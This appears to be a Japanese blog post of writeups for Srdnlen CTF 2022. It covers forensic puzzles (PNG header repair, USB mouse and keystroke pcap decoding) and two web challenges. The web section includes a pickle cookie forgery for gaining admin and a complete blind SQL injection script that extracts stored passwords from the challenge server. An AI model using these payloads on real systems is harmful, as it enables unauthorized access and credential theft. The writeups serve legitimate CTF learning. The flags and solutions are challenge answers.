はまやんはまやんはまやん

hamayanhamayan's blog

Srdnlen CTF 2022 Writeups

[Forensic] LenSrdnBand-corrupted

謎のファイルが渡される。fileコマンドでも有用な情報が得られないのでバイナリを見てみる。

└─$ hd LenSrdnBand-corrupted | head
00000000  89 50 52 47 0d 0a 1a 0a  00 00 00 0d 49 50 52 52  |.PRG........IPRR|
00000010  00 00 05 00 00 00 03 0a  08 06 00 00 00 da af e9  |................|
00000020  ab 00 00 20 00 49 54 54  54 78 5e ec 9d 0d 54 54  |... .ITTTx^...TT|
00000030  55 d7 c7 77 66 66 65 66  a6 66 66 66 65 6a 66 44  |U..wffef.fffejfD|
00000040  c6 43 66 86 8a 68 7e 20  a1 22 22 22 22 22 22 12  |.Cf..h~ ."""""".|
00000050  22 22 22 12 22 a2 e2 47  88 86 88 88 84 a4 a4 88  |"""."..G........|
00000060  88 48 a4 66 86 8a 48 64  46 64 4a 46 66 66 66 64  |.H.f..HdFdJFfffd|
00000070  66 66 d6 63 65 ef d9 b7  c7 5e e5 de 61 ee 1d 66  |ff.ce....^..a..f|
00000080  86 01 fe 67 2d 57 2d 67  9f 7d f6 f9 dd 61 5c fc  |...g-W-g.}...a\.|
00000090  67 7f dc 72 ed ef bf ff  26 2c 10 00 01 10 00 01  |g..r....&,......|

└─$ hd LenSrdnBand-corrupted | tail
0002fcb0  00 96 cf ef c2 aa 10 40  00 01 04 10 40 00 01 b7  |.......@....@...|
0002fcc0  09 1c 3f 7e 5c bc bd db  98 c6 cb cf df 21 f5 eb  |..?~\........!..|
0002fcd0  d7 77 5b 2e 02 21 80 00  02 08 20 80 00 02 08 94  |.w[..!.... .....|
0002fce0  3f 01 0a 80 e5 ef 9b b0  22 04 10 40 00 01 04 10  |?......."..@....|
0002fcf0  40 c0 ad 02 e7 cf 9f 97  ee dd bb c9 be 7d 9f 5e  |@............}.^|
0002fd00  16 b7 59 b3 7b 24 2b 6b  a3 54 ad 5a d5 ad f9 08  |..Y.{$+k.T.Z....|
0002fd10  86 00 02 08 20 80 00 02  08 20 50 be 04 fe 0f a4  |.... .... P.....|
0002fd20  00 01 8d 01 a9 42 1f 00  00 00 00 49 45 4e 44 ae  |.....B.....IEND.|
0002fd30  42 60 82                                          |B`.|
0002fd33

かなりPNGファイルっぽい。
正規のPNGファイルと比較しながら見ていくと、SignatureとBlockTypeが微妙に違う感じになっているので直すと
PNGファイルとして開くことができる。
あとは、青い空を見上げればいつもそこに白い猫を開いてステガノグラフィー解析で眺めるとフラグが出てくる。

srdnlen{Th1s_1m4g3_1s_c0rrupt3d}

[Forensic] Network Spy

mouse.pcapというUSB通信をダンプしたpcapファイルが与えられる。
0301ff0f000000みたいな入力データが延々と送られてくるのでこれを復元すれば良さそう。
ネットの情報を漁ると、button(1byte)+dx(1byte)+dy(1byte)+wheel(1byte)みたいに送られてくるっぽいので、他の通信との差を見ながら以下のように推測する。

03 -> prefix 固定
01 -> button (1でクリック中)
ff -> dx
0f -> dy
00 -> wheel
0000 -> suffix 固定

これを参考にボタンを押しているときの軌道を取得してきてフラグを取得する。
dyが大きかったので結果を16で割って縮小するとフラグがうまく描画されてきた。

import struct
from PIL import Image

INIT_X, INIT_Y = 2000, 2000
BOT_R = 3

def toint(s):
    res = struct.unpack('>b', bytes.fromhex(s))
    return res[0]

x, y = INIT_X, INIT_Y
picture = Image.new("RGB", (5000, 5000), "white")
pixels = picture.load()
with open('dumped.hex') as fp:
    for line in fp.readlines():
        line = line[2:-1]
        status = toint(line[:2])
        dx = toint(line[2:4])
        dy = toint(line[4:6]) // 16
        wheel = toint(line[6:8])
        x = x + dx
        y = y + dy
        if (status == 1):
            for i in range(-BOT_R, BOT_R):
                for j in range(-BOT_R, BOT_R):
                    try:pixels[x + i , y + j] = (0, 0, 0, 0)
                    except:pass
        else:
            try:pixels[x, y] = (255, 0, 0, 0)
            except:pass
        
        print(f"{x} {y} ({dx} {dy} {wheel})")

picture.save("flag.png", "PNG")

srdnlen{S0r1gh3_pc4p}

[Forensic] Network keylogger

Decoding Mixed Case USB Keystrokes from PCAP
このサイトを参考にキーログを抜き出してくる。
Hhello!みたいに複数回出てきたりするので、エスパーをしながら解析結果を分析してフラグを無理矢理作って、
全列挙みたいな感じでフラグを出しまくると通る。

srdnlen{Us8_Tr4ff1c_1S_Fun_T0_D3C0d3}

[web] I love pickles

ソースコードなし。
サイトを巡回すると、とりあえず/flagでadmin権限で入ればよさそう。
Cookieを見ると

Cookie: userInfo=gASVNAAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlH2UjAl1c2VyX3R5cGWUjAlBbm9ueW1vdXOUc2Iu

とりあえずbase64デコードしてみると、うっすらuser_typeみたいなものが見える。
問題文にもpickleとあるので、pickle.loadsでエラーがなくなるように調整する。
user_typeをadminにするように以下のようにコードを作るとうまくいった。

import pickle
import base64

class User(object):
    def __init__(self):
        self.user_type = 'admin'

print(base64.b64encode(pickle.dumps(User())))

これをCookieに入れるとフラグが手に入る。

srdnlen{0h_n0000_y_d1d_1_trust_y0u?}

[web] PugQL

ソースコードなし。
admin:adminでログインできるが、特に何もない。
Pug?SQL?色々推測をするが…
usernameをadmin, passwordを' or ''='にしても通る。
エラーを出してみると、mysqlが動いているみたい。

Warning:  mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in <b>/var/www/html/index.php</b> on line <b>30

Blind SQLiやっていく…がブラックリストがある。

.
#
<

ドットが使えないのはきついが、テーブル名とカラム名エスパーして、ログイン情報を抜き出すとフラグが出てくる。

import requests
import time

url = 'http://pugql.challs.srdnlen.it/'

#req = 'select GROUP_CONCAT(username) from users'
#[*] Pepito,Mario,admin
req = 'select GROUP_CONCAT(password) from users'
#[*] ilovesnacililovesnacks,srdnlen{1_l0v3_Pu4s_th3y_4r3_s0_Cu73},admin

ans = ""
for i in range(1, 1010):
    for c in range(256):
        exp = f"' or if({c} = ascii(substring(({req}),{i},1)), 1, 0) and ''='"
        res = requests.post(url, data={'username':'admin','password':exp}, headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if 'Hello admin!' in res.text:
            ans += chr(c)
            print(f"[*] {ans}")
            break
        else:
            print(f"{c} -> no... {ans}")
print(f"[*] done! {ans}")

srdnlen{1_l0v3_Pu4s_th3y_4r3_s0_Cu73}

 
 
 
 
 

srdnlen/srdnlenctf-2022_public: Source code and documentation for Srdnlen CTF 2022 challenges
ありがたいことに爆速で公式レポが解説付きで上がっているので、こっちを見るのが一番いい